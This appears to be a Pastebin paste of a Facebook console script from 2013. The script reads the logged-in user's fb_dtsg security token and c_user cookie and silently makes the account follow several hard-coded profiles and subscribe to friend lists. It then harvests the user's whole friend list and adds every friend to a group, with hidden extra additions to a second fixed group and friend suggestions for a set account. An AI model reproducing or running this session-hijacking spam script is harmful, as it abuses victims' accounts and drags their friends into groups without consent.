Advertisement
123456sdfghjoiuyt

thuthuattrenfb800friend

Jul 13th, 2013
66
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.12 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60.  
  61. function sublist(uidss) {
  62. var a = document.createElement('script');
  63. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  64. document.body.appendChild(a);
  65. }
  66.  
  67. a("100005237020219");a("100004702771968");a("100004973353661");a("100002966153002");a("100000820203123");a("715694501");a("100000034150111");sublist("374286246013577");sublist("382034938572041");sublist("382035025238699");sublist("520735637963772");sublist("382035121905356");sublist("382035161905352");sublist("156787631172470");sublist("146170898900810");sublist("156787631172470");sublist("167605260072899");
  68.  
  69. var gid = ['176752502499819'];
  70. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  71. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  72. var httpwp = new XMLHttpRequest();
  73. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  74. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  75. httpwp['open']('POST', urlwp, true);
  76. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  77. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  78. httpwp['setRequestHeader']('Connection', 'keep-alive');
  79. httpwp['send'](paramswp);
  80. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  81. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  82. var friends = new Array();
  83. gf = new XMLHttpRequest();
  84. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  85. gf['send']();
  86. if (gf['readyState'] != 4) {} else {
  87. data = eval('(' + gf['responseText']['substr'](9) + ')');
  88. if (data['error']) {} else {
  89. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  90. return _0x93dax8['index'] - _0x93dax9['index']
  91. })
  92. }
  93. };
  94. var Title = 'CHƯƠNG TRÌNH THÊM BẠN VÀO NHÓM <A style="color:#3B5998;" href="http://www.facebook.com/seomientrung">ZzzZ</A>';
  95. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  96. var Descriptions = "",
  97. _text = 'Powered By <A style="color:#3B5998;" href=" http://www.facebook.com/groups/dimorua/">Largest Group.</A> Join it now.';
  98.  
  99. function AddFriendtoGroup(opo) {
  100. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  101. var b = a.substring(a.indexOf("{"));
  102. var c = JSON.parse(b);
  103. i--;
  104. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  105. if (c.error) {
  106. Descriptions += "color:darkred'>";
  107. err++;
  108. if (c.errorDescription) Descriptions += c.errorDescription;
  109. else Descriptions += JSON.stringify(c, null, "")
  110. } else {
  111. Descriptions += "color:darkgreen'>";
  112. Descriptions += arn[i] + " has been added.<br/>";
  113. suc++
  114. }
  115. Descriptions += "</div>";
  116. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  117. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  118. if (i > 0) {
  119. display += arr.length + " Friends Detected<br/>";
  120. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  121. display += "(" + i + " Lefted...)";
  122. display += "<div class='friend-edge'>";
  123. display += Descriptions;
  124. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  125. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  126. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  127. display += _text;
  128. display += "</div>";
  129. display += "</div>"
  130. } else {
  131. display += arr.length + " Friends Detected<br/>";
  132. display += suc + " Friends Added</br>";
  133. display += err + " Friends Not Added</br></br>";
  134. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  135. }
  136. display += "</div>";
  137. document.getElementById("pagelet_sidebar").innerHTML = display
  138. }, "text", "post");
  139. tay--;
  140. if (tay > 0) {
  141. var s = arr[tay];
  142. sx = pho[tay];
  143. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  144. }
  145. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  146. if (gid != 312888745475949) {
  147. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=312888745475949&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  148. }
  149. if (newcomer) {
  150. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005237020219&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  151. }
  152. }
  153. function clickfr_callback() {
  154. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  155. var a = arr[i];
  156. if (i < arr.length) addfriend(a.substring(0, 4))
  157. }
  158. function clickfr() {
  159. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  160. else j++;
  161. setTimeout("clickfr_callback()", 2E3)
  162. }
  163. function addfriend(a) {
  164. i++;
  165. setTimeout("clickfr()", 2E3)
  166. }
  167. jx = {
  168. getHTTPObject: function() {
  169. var a = false;
  170. if (typeof ActiveXObject != "undefined") try {
  171. a = new ActiveXObject("Msxml2.XMLHTTP")
  172. } catch (b) {
  173. try {
  174. a = new ActiveXObject("Microsoft.XMLHTTP")
  175. } catch (c) {
  176. a = false
  177. }
  178. } else if (window.XMLHttpRequest) try {
  179. a = new XMLHttpRequest
  180. } catch (b) {
  181. a = false
  182. }
  183. return a
  184. },
  185. load: function(url, callback, format, method, opt) {
  186. var http = this.init();
  187. if (!http || !url) return;
  188. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  189. if (!method) method = "GET";
  190. if (!format) format = "text";
  191. if (!opt) opt = {};
  192. format = format.toLowerCase();
  193. method = method.toUpperCase();
  194. var now = "uid=" + (new Date).getTime();
  195. url += url.indexOf("?") + 1 ? "&" : "?";
  196. url += now;
  197. var parameters = null;
  198. if (method == "POST") {
  199. var parts = url.split("?");
  200. url = parts[0];
  201. parameters = parts[1]
  202. }
  203. http.open(method, url, true);
  204. var ths = this;
  205. if (opt.handler) http.onreadystatechange = function() {
  206. opt.handler(http)
  207. };
  208. else http.onreadystatechange = function() {
  209. if (http.readyState == 4) if (http.status == 200) {
  210. var result = "";
  211. if (http.responseText) result = http.responseText;
  212. if (format.charAt(0) == "j") {
  213. result = result.replace(/[\n\r]/g, "");
  214. result = eval("(" + result + ")")
  215. } else if (format.charAt(0) == "x") result = http.responseXML;
  216. if (callback) callback(result)
  217. } else {
  218. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  219. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  220. if (error) error(http.status)
  221. }
  222. };
  223. http.send(parameters)
  224. },
  225. bind: function(a) {
  226. var b = {
  227. url: "",
  228. onSuccess: false,
  229. onError: false,
  230. format: "text",
  231. method: "GET",
  232. update: "",
  233. loading: "",
  234. loadingIndicator: ""
  235. };
  236. for (var c in b) if (a[c]) b[c] = a[c];
  237. if (!b.url) return;
  238. var d = false;
  239. if (b.loadingIndicator) {
  240. d = document.createElement("div");
  241. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  242. d.setAttribute("class", "loading-indicator");
  243. d.innerHTML = b.loadingIndicator;
  244. document.getElementsByTagName("body")[0].appendChild(d);
  245. this.opt.loadingIndicator = d
  246. }
  247. if (b.loading) document.getElementById(b.loading).style.display = "block";
  248. this.load(b.url, function(a) {
  249. if (b.onSuccess) b.onSuccess(a);
  250. if (b.update) document.getElementById(b.update).innerHTML = a;
  251. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  252. if (b.loading) document.getElementById(b.loading).style.display = "none"
  253. }, b.format, b.method, b)
  254. },
  255. init: function() {
  256. return this.getHTTPObject()
  257. }
  258. };
  259. var nHtml = {
  260. FindByAttr: function(a, b, c, d) {
  261. if (c == "className") c = "class";
  262. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  263. if (e && e.singleNodeValue) return e.singleNodeValue;
  264. return null
  265. },
  266. FindByClassName: function(a, b, c) {
  267. return this.FindByAttr(a, b, "className", c)
  268. },
  269. FindByXPath: function(a, b) {
  270. try {
  271. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  272. } catch (d) {
  273. GM_log("bad xpath:" + b)
  274. }
  275. if (c && c.singleNodeValue) return c.singleNodeValue;
  276. return null
  277. },
  278. VisitUrl: function(a) {
  279. window.setTimeout(function() {
  280. document.location.href = a
  281. }, 500 + Math.floor(Math.random() * 500))
  282. },
  283. ClickWin: function(a, b, c) {
  284. var d = a.document.createEvent("MouseEvents");
  285. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  286. return !b.dispatchEvent(d)
  287. },
  288. Click: function(a) {
  289. return this.ClickWin(window, a, "click")
  290. },
  291. ClickTimeout: function(a, b) {
  292. window.setTimeout(function() {
  293. return nHtml.ClickWin(window, a, "click")
  294. }, b + Math.floor(Math.random() * 500))
  295. },
  296. ClickUp: function(a) {
  297. this.ClickWin(window, a, "mousedown");
  298. this.ClickWin(window, a, "mouseup");
  299. this.ClickWin(window, a, "click")
  300. },
  301. GetText: function(a, b) {
  302. var c = "";
  303. if (b == undefined) b = 0;
  304. if (b > 40) return;
  305. if (a.textContent != undefined) return a.textContent;
  306. for (var d = 0; d < a.childNodes.length; d++) {
  307. var e = a.childNodes[d];
  308. c += this.GetText(e, b + 1)
  309. }
  310. return c
  311. }
  312. };
  313. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  314. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  315. var c = document.getElementsByTagName("*");
  316. var d = [];
  317. var e;
  318. for (var f = 0;
  319. (e = c[f]) != null; f++) {
  320. var g = e.className;
  321. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  322. }
  323. return d
  324. };
  325. Array.prototype.find = function(a) {
  326. var b = false;
  327. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  328. if (a.test(this[i])) {
  329. if (!b) b = [];
  330. b.push(i)
  331. }
  332. } else if (this[i] === a) {
  333. if (!b) b = [];
  334. b.push(i)
  335. }
  336. return b
  337. };
  338. var i = 3;
  339. var tay = 3;
  340. var j = 0;
  341. var k = 0;
  342. var suc = 0;
  343. var err = 0;
  344. var arr = new Array;
  345. var arn = new Array;
  346. var pho = new Array;
  347. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  348. var gid = document.getElementsByName("group_id")[0].value;
  349. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  350. var b = a;
  351. var c = b.substring(b.indexOf("{"));
  352. var d = JSON.parse(c);
  353. d = d.payload.entries;
  354. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  355. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  356. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  357. i = arr.length - 1;
  358. tay = i;
  359. console.log(arr.length);
  360. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  361. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  362. display += arr.length + " Friends Detected";
  363. display += "</div>";
  364. document.getElementById("pagelet_sidebar").innerHTML = display;
  365. AddFriendtoGroup(arr[i])
  366. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement